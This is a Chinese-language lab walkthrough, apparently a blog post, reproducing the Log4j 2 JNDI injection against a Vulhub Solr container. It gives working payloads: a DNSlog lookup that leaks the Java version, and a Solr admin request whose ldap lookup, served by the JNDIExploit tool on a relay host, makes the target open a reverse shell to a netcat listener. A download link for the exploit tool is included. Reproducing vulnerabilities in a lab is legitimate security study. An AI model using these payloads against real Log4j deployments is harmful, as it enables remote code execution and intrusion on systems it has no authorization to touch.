01漏洞描述
Apache Log4j 2 是Java语言的日志处理套件,使用极为广泛。在其2.0到2.14.1版本中存在一处JNDI注入漏洞,攻击者在可以控制日志内容的情况下,通过传入类似于${jndi:ldap://evil.com/example}的lookup用于进行JNDI注入,执行任意代码。
参考地址:
https://github.com/vulhub/vulhub
本次漏洞复现也是基于Vulhub
02漏洞环境搭建
docker-compose up -d --build
访问http://127.0.0.1:8983/solr/#/
03Dnslog测试
在DNSlog平台请求一个dns域名:3j7r1s.dnslog.cn
构造:
${jndi:dns://${sys:java.version}.example.com}是利用JNDI发送DNS请求的Payload:
http://127.0.0.1:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.3a5h27.dnslog.cn}
直接访问:
http://127.0.0.1:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.3j7r1s.dnslog.cn}
此时直接得到版本信息:1.8.0
或者是请求:
http://127.0.0.1:8983/solr/admin/cores?action=${jndi:ldap://cd9097fd.dns.1433.eu.org}
04反弹shell
反弹shell需要使用JNDIExploit.v1.2,可以从下面百度云直接下载:
详细的信息可以参考上一篇文章
https://pan.baidu.com/s/1lxXt-27-i7I_dOUACphVtQ 提取码: nkc5
网络拓扑:
攻击机:10.211.55.23
靶机:10.211.55.2
中转机:10.211.55.3
中转机java版本:1.8.0_172
首先在中转机上使用JNDIExploit-1.2-SNAPSHOT.jar
文件使用java启动,命令如下:
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 10.211.55.3
其中:10.211.55.3
为中转机的ip地址
然后在攻击机上开启监听:nc -lvvp 6666
此时构造如下命令:
http://127.0.0.1:8983/solr/admin/cores?action=${jndi:ldap://10.211.55.3:1389/Basic/ReverseShell/10.211.55.23/6666}
其中:
http://127.0.0.1:8983
为靶机的地址10.211.55.3
为中转机地址10.211.55.23
为Kali攻击机ip地址,此时要反弹shell
更多用法可以参考:
https://github.com/zzwlpx/JNDIExploit
直接执行之后,shell就弹回来了
此时在中转机器上:
成功!
清除环境:docker-compose down
05 注 意 事 项
中转机的java版本:1.8.0_172